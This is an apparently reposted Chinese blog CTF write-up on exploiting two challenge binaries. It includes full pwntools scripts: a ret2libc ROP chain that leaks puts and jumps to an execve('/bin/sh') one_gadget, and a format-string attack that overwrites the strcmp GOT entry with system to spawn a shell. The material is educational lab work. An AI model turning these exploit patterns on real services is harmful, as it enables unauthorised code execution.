博客
关于我
ROP;Ret2libc应用详解;CTF-pwn writeup;pwntools,one_gadget应用
阅读量:184 次
发布时间:2019-02-28

本文共 3978 字,大约阅读时间需要 13 分钟。

ROP;Ret2libc应用详解;CTF-pwn writeup;pwntools,one_gadget应用

pwn1

逆向代码分析

int __cdecl main(int argc, const char **argv, const char **envp){    char buf[48]; // [rsp+0h] [rbp-30h] BYREF  init();    puts("Show me your code :D");    gets(buf, argv);    return 0;}

检查保护

$ checksec pwn1Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)

one_gadget应用

$ one_gadget libc-2.31-dbg.so --near putsGadgets near puts(0x76b10):    # puts的偏移0xcbcb1 execve("/bin/sh", r13, r12)    # execve的偏移constraints:  [r13] == NULL || r13 == NULL [r12] == NULL || r12 == NULL    # 0xcbcb4 execve("/bin/sh", r13, rdx)    # constraints:  [r13] == NULL || r13 == NULL [rdx] == NULL || rdx == NULL    # 0xcbcb7 execve("/bin/sh", rsi, rdx)    # constraints:  [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL

思路

  • 第一次输入:填充后覆盖返回地址,返回指向puts,利用puts函数输出puts的函数地址。
  • 第二次输入:填充后调用pop_addr清掉r12, r13,返回地址为execve_addr。
  • exp1.py

    from pwn import *context(log_level='debug', arch='amd64', os='linux')p = process(["./ld-2.31-dbg.so", "./pwn1"], env={ "LD_PRELOAD": "./libc-2.31-dbg.so" })elf = ELF("./pwn1")puts_got = elf.got['puts']puts_plt = elf.plt['puts']main_addr = 0x4011dbrdi_addr = 0x401283pop_addr = 0x040127cputs_offset = 0x076b10execve_offset = 0xcbcb1payload1 = b'A' * 0x38payload1 += p64(rdi_addr)payload1 += p64(puts_got)payload1 += p64(puts_plt)payload1 += p64(main_addr)p.sendline(payload1)puts_addr = u64(p.recv(6) + b'\x00' * 2)libc_addr = puts_addr - puts_offsetexecve_addr = libc_addr + execve_offsetpayload2 = b'A' * 0x38payload2 += p64(pop_addr)payload2 += p64(0) * 4payload2 += p64(execve_addr)p.sendline(payload2)p.interactive()

    pwn2_32

    逆向代码分析

    int __cdecl main(int argc, const char **argv, const char **envp){    __uid_t v3; // ebx    __uid_t v4; // eax    int tmp; // [esp+8h] [ebp-74h] BYREF    char buf[100]; // [esp+Ch] [ebp-70h] BYREF    unsigned int v8; // [esp+70h] [ebp-Ch]    int *v9; // [esp+74h] [ebp-8h] BYREF    v9 = &argc;    v8 = __readgsdword(0x14u);    v3 = geteuid();    v4 = geteuid();    setreuid(v4, v3);    setvbuf(stdout, 0, 2, 0);    setvbuf(stdin, 0, 2, 0);    tmp = secret;    puts("Show me your password. ");    printf("Password: ");    fgets(buf, 100, stdin);    if (!strcmp(buf, "sec21.\n"))        puts("Password OK :)");    else        handle_failure(buf);    if (tmp != secret)        puts("The secret is modified!\n");    return 0;}void __cdecl handle_failure(char *buf){    char msg[100]; // [esp+18h] [ebp-70h] BYREF    unsigned int v2; // [esp+7Ch] [ebp-Ch] BYREF    v2 = __readgsdword(0x14u);    snprintf(msg, 0x64u, "Invalid Password! %s\n", buf);    printf(msg);}

    思路

  • 第一次输入:利用%n%hn格式字符串修改secret的值,并将putsprintf的地址泄露。
  • 第二次输入:修改strcmp的返回地址,使得程序调用system("/bin/sh")
  • exp2.py

    from pwn import *context(log_level='debug', arch='i386', os='linux')elf = ELF("./pwn2_32")libc = ELF("/usr/lib32/libc-2.31.so")p = elf.process()puts_got = elf.got['puts']printf_got = elf.got['printf']strcmp_got = elf.got['strcmp']main_addr = elf.symbols['main']secret_addr = 0x0804a050ret_addr = main_addr + 139  # ret to fgetspayload1 = b'B' * 2payload1 += p32(secret_addr)payload1 += p32(puts_got + 2)payload1 += p32(puts_got)payload1 += p32(printf_got)payload1 += b'B' * 2payload1 += b"%15$n"payload1 += b'%' + str(int((ret_addr >> 16) - 20 - 18)).encode() + b'x'payload1 += b"%16$hn"payload1 += b'%' + str(int((ret_addr & 0xffff) - (ret_addr >> 16))).encode() + b'x'payload1 += b"J%18$s"p.sendline(payload1)printf_addr = u32(p.recv(4))libc_addr = printf_addr - libc.sym['printf']system_addr = libc_addr + libc.sym['system']payload2 = b'B' * 2payload2 += p32(strcmp_got)payload2 += p32(strcmp_got + 2)payload2 += b'B' * 2payload2 += b"%" + str(int((system_addr & 0xffff) - 12 - 18)).encode() + b"x"payload2 += b"%15$hn"payload2 += b"%" + str(int((system_addr >> 16) - (system_addr & 0xffff))).encode() + b"x"payload2 += b"%16$hn"p.sendline(payload2)p.sendline("/bin/sh")p.interactive()

    通过以上详细的分析和步骤,可以成功地利用ROP和Ret2libc技术对目标程序进行攻击,获取控制并获取shell。

    转载地址:http://rfhc.baihongyu.com/

    你可能感兴趣的文章
    multipart/form-data与application/octet-stream的区别、application/x-www-form-urlencoded
    查看>>
    mysql cmake 报错,MySQL云服务器应用及cmake报错解决办法
    查看>>
    Multiple websites on single instance of IIS
    查看>>
    mysql CONCAT()函数拼接有NULL
    查看>>
    multiprocessing.Manager 嵌套共享对象不适用于队列
    查看>>
    multiprocessing.pool.map 和带有两个参数的函数
    查看>>
    MYSQL CONCAT函数
    查看>>
    multiprocessing.Pool:map_async 和 imap 有什么区别?
    查看>>
    MySQL Connector/Net 句柄泄露
    查看>>
    multiprocessor(中)
    查看>>
    mysql CPU使用率过高的一次处理经历
    查看>>
    Multisim中555定时器使用技巧
    查看>>
    MySQL CRUD 数据表基础操作实战
    查看>>
    multisim变压器反馈式_穿过隔离栅供电:认识隔离式直流/ 直流偏置电源
    查看>>
    mysql csv import meets charset
    查看>>
    multivariate_normal TypeError: ufunc ‘add‘ output (typecode ‘O‘) could not be coerced to provided……
    查看>>
    MySQL DBA 数据库优化策略
    查看>>
    multi_index_container
    查看>>
    MySQL DBA 进阶知识详解
    查看>>
    Mura CMS processAsyncObject SQL注入漏洞复现(CVE-2024-32640)
    查看>>